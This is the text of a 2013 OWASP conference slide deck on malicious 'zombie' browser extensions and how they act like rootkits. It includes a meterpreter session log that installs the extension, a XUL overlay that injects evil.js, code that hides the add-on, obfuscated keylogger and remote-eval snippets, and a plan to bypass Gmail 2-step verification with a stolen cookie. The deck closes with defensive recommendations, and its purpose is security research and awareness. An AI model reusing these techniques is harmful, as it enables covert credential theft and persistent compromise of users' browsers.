

Introduction

Zoltán Balázs

ITSEC consultant

Deloitte. Hungary

Instructor @NetAkademia.hu

OSCP, CISSP, C|HFI, CPTS, MCP

<http://www.slideshare.net/bz98>

Cyberlympics finals 2012 - 2nd runner up

Member of the gula.sh team

I love Hacking



I love Zombie movies



I love LOLcats



Zombies + Hacking + LOLcats
= I R ZOMBIE BROWSER



Zombie browsers, spiced with rootkit extensions OWASP 2013

Legal disclaimer:

Every point of views and thoughts are mine.

The next presentation's contents do not have any connection with my employers opinion, whether past, present or future.

What you will hear can be only used in test labs, and only for the good.

About:presentation


History of malicious extensions (add-on, plug-in, extension, BHO)

Focus on Firefox, Chrome, Safari

Advantages – disadvantages

Browser extension rootkits

Live demo – home made extension




History of malicious Firefox extensions

90% of malicious extensions were created for Facebook spamming


2004-2010: 5

2011: 5


2012: 56*



*Data from mozilla.org



More examples on Facecrook



My zombie extension

Command and Control



Stealing cookies, passwords



Uploading/downloading files (Firefox,
Chrome NPAPI on todo list)




Binary execution (Firefox - Windows,
Chrome NPAPI on todo list)



Geolocation



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Evil defensive solutions

Firewall

Webfilter

Application whitelisting


AV

HIPS


WTF

Zombie browser

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Zombie browser




CREATE CHROME AND SAFARI EXTENSION?



CHALLENGE ACCEPTED

Zombie browser



Safari demo



Physical access
Social Engineering
Remote code execution – without
user interaction

Social Engineering

Remote code execution – without user interaction

```
[*] Started reverse handler on 192.168.2.99:4444
[*] Starting the payload handler...
msf exploit(handler) > [*] Sending stage (752128 bytes) to 192.168.2.100
[*] Meterpreter session 1 opened (192.168.2.99:4444 -> 192.168.2.100:2331) at 2012-06-20 15:56:46
[*] Session ID 1 (192.168.2.99:4444 -> 192.168.2.100:2331) processing AutoRunScript C:\Program Files\Trend Micro\Panda Security\panda.exe
nk/meterpreter/install bbdoor.rc'
[*] Script starting, this.SleepEx(5000); // simulate work
[+] Profile dir exists
[+] Found Profile: C:\Users\CELocalAdmin\AppData\Roaming\Mozilla\Firefox\Profiles\r5vq...
[*] Uploading extension
[*] Uploading sqlite3.exe
[*] Uploading sqlite.sql
[+] Empty debug.txt.
[+] sqlite3.exe removed
[+] Temp files removed
[+] Installation successfull, have a nice zombie day.
```

The ASCII art depicts a stylized cat's head facing right. The outline is composed of various symbols like parentheses, backslashes, and dashes. Key features include pointed ears at the top left, whisker-like strokes extending from the sides, and a small, simple nose and mouth area near the bottom center. The overall style is minimalist and uses common keyboard characters to form the shape.

Firefox rootkit 1

Hook into other extension (even signed ones)

```
<!DOCTYPE overlay SYSTEM "  
chrome://flashx/locale/browserOverlay.dtd">  
<overlay id="flashx-browser-overlay" xmlns="  
http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">  
<script type="application/x-javascript" src="  
chrome://flashx/content/browserOverlay.js" />  
<script type="application/x-javascript" src="  
chrome://flashx/content/evil.js" />  
</overlay>
```

content

Name	Date modified	Type
 browserOverlay.js	2012.07.24. 16:18	JScript Script File
 browserOverlay.xul	2012.04.25. 9:18	XUL File
 evil.js	2012.08.12. 14:38	JScript Script File
 update.rdf	2012.03.01. 9:05	RDF File

Firefox rootkit 2

visible = false

Table Name: addon

13. iconURL (TEXT)	Null	→
14. icon64URL (TEXT)		→
15. defaultLocale (INTEGER)	379	→
16. visible (INTEGER)	0	→
17. active (INTEGER)	1	→
18. userDisabled (INTEGER)	0	→
19. appDisabled (INTEGER)	0	→
20. pendingUninstall (INTEGER)	0	→

OK Mégse

Firefox rootkit 3

seen in the wild

```
// rootkit functionality  
  
function rm(list) {  
    var addons = list.childNodes;  
    for(var i = 0; i < addons.length; ++i)  
        if(addons[i].getAttribute('name') == 'Zombiebrowser')  
            list.removeChild(addons[i]);  
}
```

Risks of a Zombie Browser

Eats your brain while you are asleep

Risks of a Zombie Browser

Risks of a Zombie Browser

Firewall/proxy ☠

Local firewall ☠

Application whitelisting ☠

Web-filtering ☠

Risks of a Zombie Browser

Cross-platform ☠

Cross-domain Universal XSS ☠

Every secret is available ☠

Password input method does not matter (password safe, virtual keyboard, etc.)

Before SSL (+JS obfuscation)

Malicious source codes are available ☠

Advantage against meterpreter ☠

exe/dll is not needed for persistence

Writing into registry is not needed

Risks of a zombie browser

Low AV signature based detection rate ☠

Sample from January 2011. – February 2013



SHA256: 4c58c7e75e54940d409b2e8c59bad7f825435fd2f6570a5dc103a8a6bb640c16

File name: BrowserUpdate.xpi

Detection ratio: 0 / 46

Analysis date: 2013-02-17 10:59:19 UTC (1 minute ago)


More details

Extension vs. behavioral based detection ☠

Friendly message to AV developers: try harder...

Code snippets from undetected malicious browser extension

```
var
```

```
_0x39fe=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65  
\x45\x6C\x65\x6D\x65\x6E  
\x74","\x74\x79\x70\x65","\x74\x65\x78\x74...
```

```
_0xaed4=[_0x39fe[0],_0x39fe[1],_0x39fe[2],_0x39fe[3],_0x39fe[4],_0x39f  
e[5],_0x39fe[6],_0x39fe[7],_0x39fe[8],_0x39fe[9]];
```

```
keylogger_namespace.keylogger...
```

```
for(var x in mothership){if (mothership[x].command == "eval")  
{eval(mothership[x].data);
```

Profit ...



Firefox



Disadvantages (for the Hacker)

Not a real rootkit

Browser limitations (eg. portscan)

Platform limitations (eg. Execute binary code only on Windows)

Runs in user space

Runs only when browser is open

Extensions are not yet supported in:

- Chrome on Android/iOS

- Safari on iOS

Gmail demo

defeat 2 step verification

Why Google?

Hacking “the others” is boring

clear text cookies

missing 2 step verification

no concurrent session detection

Gmail demo

defeat 2 step verification

One Cookie to rule them all

Cookie + password stealing – defeat Google 2-step verification

Use password reset on other sites linked to G-mail (Paypal, etc.)

Install any app from Google Play to victim's Android phone

Access Android WIFI passwords

Access to Google+, Docs, Picasa, Blogger, Contacts, Web history, Checkout, Apps, OpenID

Backdooring Google account

- Adding application specific password

- Stealing backup codes

- G-mail mail forward rule

Chrome - rootkit



Zombie Android DEMO



Android SQLite Journal Information
Disclosure (CVE-2011-3901)

Android 2.3.7



Zombie browser – attacking internal webservers

The Evil Company



Firefox webcam



Browser extensions might be bad

@antivirus developers

Be reactive

The browser is the new OS

@browser developers (Mozilla)

Default deny installing extensions from 3rd-party sites

Chrome-level security

Require permissions

Extension components – separate privileges

@browser developers (Google) – keep on the good job

but disable NPAPI :)

Browser extensions might be bad

- @website developers
 - There is no prevention against password stealing
 - Cookie-stealing
 - Restrict session to IP (by default)
- @users
 - Beware of malicious browser extensions
 - Use separated OS for e-banking and other sensitive stuff
 - Removing malicious extensions - create new clean profile in clean OS
- @companies
 - Control which browsers users can use
 - Restrict extensions via GPO

One more thing ...



account, our priority
security information helps protect your account

Sign in

Microsoft account [What's this?](#)

☐ Keep me signed in

[Sign in](#)

[Can't access your account?](#)

[Sign in with a single-use code](#)

Message from webpage



Hello IE World!

OK

References

Grégoire Gentil: Hack any website, 2003

Christophe Devaux, Julien Lenoir: Browser rootkits, 2008

Duarte Silva: Firefox FFSpy PoC, 2008

Andreas Grech: Stealing login details with a Google Chrome extension, 2010

Matt Johansen, Kyle Osborn: Hacking Google ChromeOS, 2011

Nicolas Paglieri: Attacking Web Browsers, 2012

Browser extensions might be bad, Mmmkay???



zbalazs@deloittece.com

 [zbalazs4](#)

 [hu.linkedin.com/in/zbalazs](https://www.linkedin.com/in/zbalazs)

Code released under GPL
[http://github.com/Z6543/
ZombieBrowserPack](http://github.com/Z6543/ZombieBrowserPack)

Greetz to @hekkcamp